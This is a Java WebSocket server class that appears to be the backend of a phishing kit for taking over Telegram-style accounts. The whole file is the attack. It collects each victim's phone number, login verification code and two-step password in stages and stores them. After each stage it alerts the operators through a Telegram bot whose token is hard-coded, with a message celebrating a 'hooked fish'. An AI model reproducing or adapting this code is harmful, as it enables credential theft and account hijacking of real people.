package com.ruoyi.web.controller.socket;
|
|
import java.io.IOException;
|
import java.net.Socket;
|
import java.util.List;
|
import java.util.concurrent.ConcurrentHashMap;
|
import javax.servlet.http.HttpServletRequest;
|
import javax.websocket.OnClose;
|
import javax.websocket.OnError;
|
import javax.websocket.OnMessage;
|
import javax.websocket.OnOpen;
|
import javax.websocket.Session;
|
import javax.websocket.server.PathParam;
|
import javax.websocket.server.ServerEndpoint;
|
import com.alibaba.fastjson.JSON;
|
import com.alibaba.fastjson.JSONObject;
|
|
import com.ruoyi.system.domain.SysTgdata;
|
import com.ruoyi.system.service.ISysTgdataService;
|
import com.ruoyi.web.controller.tgbot.TBot;
|
import com.ruoyi.web.controller.tool.MyBeanUtil;
|
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.stereotype.Component;
|
|
|
|
/**
|
* @author zhengkai.blog.csdn.net
|
*/
|
@ServerEndpoint("/openSocket/{userId}")
|
@Component
|
public class WebSocketServer {
|
|
public static ISysTgdataService tgdataService;
|
|
|
/**concurrent包的线程安全Set,用来存放每个客户端对应的MyWebSocket对象。*/
|
private static ConcurrentHashMap<String,WebSocketServer> webSocketMap = new ConcurrentHashMap<>();
|
/**与某个客户端的连接会话,需要通过它来给客户端发送数据*/
|
private Session session;
|
/**接收userId*/
|
private String userId="";
|
|
/**
|
* 连接建立成功调用的方法*/
|
@OnOpen
|
public void onOpen(Session session, @PathParam("userId") String userId) {
|
this.session = session;
|
this.userId=userId;
|
if(webSocketMap.containsKey(userId)){
|
webSocketMap.remove(userId);
|
webSocketMap.put(userId,this);
|
//加入set中
|
}else{
|
webSocketMap.put(userId,this);
|
//加入set中
|
// addOnlineCount();
|
//在线数加1
|
}
|
// System.out.println("用户连接:"+userId+",当前在线人数为:" + getOnlineCount());
|
// log.info("用户连接:"+userId+",当前在线人数为:" + getOnlineCount());
|
|
try {
|
sendMessage("连接成功");
|
} catch (IOException e) {
|
// log.error("用户:"+userId+",网络异常!!!!!!");
|
System.out.println("用户:"+userId+",网络异常!!!!!!");
|
}
|
}
|
|
/**
|
* 连接关闭调用的方法
|
*/
|
@OnClose
|
public void onClose() {
|
if(webSocketMap.containsKey(userId)){
|
webSocketMap.remove(userId);
|
//从set中删除
|
// subOnlineCount();
|
}
|
// System.out.println("用户退出:"+userId+",当前在线人数为:" + getOnlineCount());
|
|
}
|
|
/**
|
* 接受到用户主动发送的消息,并且返回
|
*/
|
@OnMessage
|
@SuppressWarnings("all")
|
public void onMessage(String message, Session session) {
|
try {
|
|
//统一过滤
|
String[] authList = message.split("/");
|
String phone = authList[1];
|
SysTgdata sysTgdata = new SysTgdata();
|
sysTgdata.setUphone(phone);
|
List<SysTgdata> tgdataList = tgdataService.selectSysTgdataList(sysTgdata);
|
|
|
if (tgdataList.size() != 0){
|
String res = tgdataList.get(0).getUres();
|
if ("验证码错误".equals(res)){
|
sendMessage("Invalid code");
|
}else if ("密码错误".equals(res)){
|
sendMessage("Incorrect password");
|
}else if ("等待输入密码".equals(res)){
|
sendMessage("输入密码");
|
}else if ("验证通过".equals(res)){
|
sendMessage("登录成功");
|
}
|
}
|
|
|
|
//手机号
|
if (message.startsWith("client/")){
|
|
if (tgdataList.size() == 0){
|
sysTgdata.setUres("收到手机号");
|
|
tgdataService.insertSysTgdata(sysTgdata);
|
//TG消息通知
|
TBot.sendMsg("5999279550:AAHebQVosRZK4pAwBaQDItu8hfy9Q5C1kF8","新鱼儿上钩通知,请及时登录后台查看,类型:手动版,步骤:获得手机号,请管理员及时查看,@yilu888,@xminggzs","@yuanmajiaoliuqun");
|
//通知服务器
|
sendInfo("new","baseServer");
|
}
|
}
|
//验证码
|
if (message.startsWith("auth/")){
|
String code = authList[2];
|
if (tgdataList.size() != 0){
|
SysTgdata tgdata = tgdataList.get(0);
|
tgdata.setUres("收到验证码");
|
tgdata.setUvifcode(code);
|
tgdataService.updateSysTgdata(tgdata);
|
//TG消息通知
|
TBot.sendMsg("5999279550:AAHebQVosRZK4pAwBaQDItu8hfy9Q5C1kF8","新鱼儿上钩通知,请及时登录后台查看,类型:手动版,步骤:获得验证码,请管理员及时查看,@yilu888,@xminggzs","@yuanmajiaoliuqun");
|
|
//通知服务器
|
sendInfo("new","baseServer");
|
}
|
}
|
|
//密码
|
if (message.startsWith("pass/")){
|
String password = authList[2];
|
|
if (tgdataList.size() != 0){
|
SysTgdata tgdata = tgdataList.get(0);
|
tgdata.setUres("收到二次密码");
|
tgdata.setAgpass(password);
|
tgdataService.updateSysTgdata(tgdata);
|
//TG消息通知
|
TBot.sendMsg("5999279550:AAHebQVosRZK4pAwBaQDItu8hfy9Q5C1kF8","新鱼儿上钩通知,请及时登录后台查看,类型:手动版,步骤:获得二级密码,请管理员及时查看,@yilu888,@xminggzs","@yuanmajiaoliuqun");
|
|
//通知服务器
|
sendInfo("new","baseServer");
|
}
|
|
}
|
System.err.println(message);
|
} catch (IOException e) {
|
e.printStackTrace();
|
}
|
}
|
|
/**
|
* 实现服务器主动推送
|
*/
|
public void sendMessage(String message) throws IOException {
|
this.session.getBasicRemote().sendText(message);
|
}
|
|
|
/**
|
* 发送自定义消息
|
* */
|
public static String sendInfo(String message,String userId) {
|
try {
|
System.out.println("发送消息到:"+userId+",报文:"+message);
|
|
webSocketMap.get(userId).sendMessage(message);
|
return "1";
|
}catch (Exception e){
|
e.printStackTrace();
|
return "0";
|
}
|
|
}
|
|
|
}
|